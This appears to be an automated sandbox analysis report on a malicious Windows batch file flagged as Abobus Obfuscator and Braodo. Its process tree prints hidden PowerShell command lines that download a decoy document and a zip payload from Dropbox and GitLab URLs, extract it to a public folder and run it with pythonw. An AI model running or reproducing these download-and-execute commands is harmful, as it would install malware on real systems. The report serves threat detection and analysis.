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Windows
Analysis Report
13jhsfbose.bat
Overview
General Information
Detection
Abobus Obfuscator, Braodo
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Multi AV Scanner detection for submitted file
Yara detected Abobus Obfuscator
Yara detected Braodo
Yara detected Powershell download and execute
AI detected suspicious sample
Sigma detected: PowerShell DownloadFile
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Suspicious powershell command line found
Tries to download and execute files (via powershell)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Web Download
Sigma detected: Usage Of Web Request Commands And Cmdlets
Suricata IDS alerts with low severity for network traffic
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Classification
- System is w10x64
- cmd.exe (PID: 1308 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\13jhs fbose.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 2780 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - chcp.com (PID: 572 cmdline:
chcp.com 4 37 MD5: 33395C4732A49065EA72590B14B64F32) - find.exe (PID: 1292 cmdline:
find MD5: 4BF76A28D31FC73AA9FC970B22D056AF) - findstr.exe (PID: 3116 cmdline:
fIndstr /L /I set "C :\Users\us er\Desktop \13jhsfbos e.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - findstr.exe (PID: 3784 cmdline:
fIndstr /L /I goto " C:\Users\u ser\Deskto p\13jhsfbo se.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - findstr.exe (PID: 6152 cmdline:
fIndstr /L /I echo " C:\Users\u ser\Deskto p\13jhsfbo se.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - findstr.exe (PID: 6368 cmdline:
fIndstr /L /I pause "C:\Users\ user\Deskt op\13jhsfb ose.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - cmd.exe (PID: 1268 cmdline:
C:\Windows \system32\ cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - find.exe (PID: 1408 cmdline:
find MD5: 4BF76A28D31FC73AA9FC970B22D056AF) - cmd.exe (PID: 1084 cmdline:
C:\Windows \system32\ cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - powershell.exe (PID: 2352 cmdline:
powershell .exe -Wind owStyle Hi dden -Comm and "[Net. ServicePoi ntManager] ::Security Protocol = [Net.Secu rityProtoc olType]::T ls12; (New -Object -T ypeName Sy stem.Net.W ebClient). DownloadFi le('https: //www.drop box.com/sc l/fi/8wcdo h5jl9xy2op 5nj983/12_ Advertisin g_Campaign _and_Colla boration.d ocx?rlkey= fsqq79ia4x bo8dqyozgq 8q2oj&st=v f0kbpju&dl =1', 'C:\U sers\user\ AppData\Lo cal\Temp\\ 12_Adverti sing_Campa ign_and_Co llaboratio n.docx')" MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 3856 cmdline:
powershell -WindowSt yle Hidden -Command "Start-Pro cess 'C:\U sers\user\ AppData\Lo cal\Temp\\ 12_Adverti sing_Campa ign_and_Co llaboratio n.docx'" MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 4336 cmdline:
powershell .exe -Wind owStyle Hi dden -Comm and "[Net. ServicePoi ntManager] ::Security Protocol = [Net.Secu rityProtoc olType]::T ls12; (New -Object -T ypeName Sy stem.Net.W ebClient). DownloadFi le('https: //gitlab.c om/bosse21 /mkt/-/raw /main/12Fu krun.zip', 'C:\Users \Public\Do cument.zip ')" MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 6448 cmdline:
powershell .exe -Wind owStyle Hi dden -Comm and "Add-T ype -Assem blyName Sy stem.IO.Co mpression. FileSystem ; [System. IO.Compres sion.ZipFi le]::Extra ctToDirect ory('C:/Us ers/Public /Document. zip', 'C:/ Users/Publ ic/Documen t')" MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 1292 cmdline:
powershell .exe -Wind owStyle Hi dden -Comm and " C:\U sers\Publi c\Document \pythonw.e xe C:\User s\Public\D ocument\DL Ls\rz_317. pd clickap p" MD5: 04029E121A0CFA5991749937DD22A1D9)
- cleanup
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_AbobusObfuscator | Yara detected Abobus Obfuscator | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_Braodo_1 | Yara detected Braodo | Joe Security |
System Summary |
---|
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-11-18T08:47:24.268623+0100 | 2803305 | 3 | Unknown Traffic | 192.168.2.5 | 49755 | 172.65.251.78 | 443 | TCP |
Click to jump to signature section
Show All Signature Results
AV Detection |
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Source: | Avira URL Cloud: |
Source: | Virustotal: | Perma Link |
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Source: | UDP traffic detected without corresponding DNS query: | ||
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